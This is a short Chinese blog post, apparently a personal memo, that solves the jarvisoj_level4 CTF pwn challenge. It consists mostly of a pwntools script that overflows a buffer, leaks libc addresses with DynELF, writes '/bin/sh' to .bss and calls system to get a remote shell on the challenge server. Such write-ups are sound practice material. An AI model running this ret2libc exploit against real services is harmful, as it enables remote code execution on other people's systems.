[DynELF]jarvisoj_level4

最新推荐文章于 2023-09-16 23:52:06 发布

永远在深夜里就好了

最新推荐文章于 2023-09-16 23:52:06 发布

阅读量104

点赞数

分类专栏： pwn ctf 文章标签： pwn

本文链接：https://blog.csdn.net/m0_50819561/article/details/120572577

版权

pwn 同时被 2 个专栏收录

10 篇文章 2 订阅

订阅专栏

ctf

10 篇文章 0 订阅

订阅专栏

本文记录了一次远程服务利用过程，通过 DynELF 库获取 libc 的 system 地址，并利用写入和读取系统调用来执行 '/bin/sh'，实现远程控制。主要涉及的技术包括 DynELF、ELF 文件解析、内存漏洞利用等。

摘要由CSDN通过智能技术生成

这题没给libc，所以用DynELF。
记录一下仅供自己使用，以免以后忘了他的用法。

from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn','26626')
#r=process('./a')
elf=ELF('./a')
context.log_level = 'debug'
#libc_base = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']

write_plt=elf.plt['write']
read_plt=elf.plt['read']
main=0x08048350
bss_addr=0x0804A024

def leak(addr):
    payload='a' * 0x88 + 'a' * 4 + p32(write_plt) + p32(main) + p32(1) + p32(addr) + p32(4)
    r.sendline(payload)
    leak_addr=r.recv(4)
    return leak_addr

d=DynELF(leak,elf=elf)
sys_addr=d.lookup('system','libc')
payload1='a' * 0x88 + 'a' * 4 + p32(read_plt) + p32(main) + p32(0) + p32(bss_addr) + p32(9)
r.sendline(payload1)
r.sendline('/bin/sh\x00')
payload1='a' * 0x88 + 'a'*4+p32(sys_addr)+p32(0xaaaa)+p32(bss_addr)
r.sendline(payload1)
r.interactive()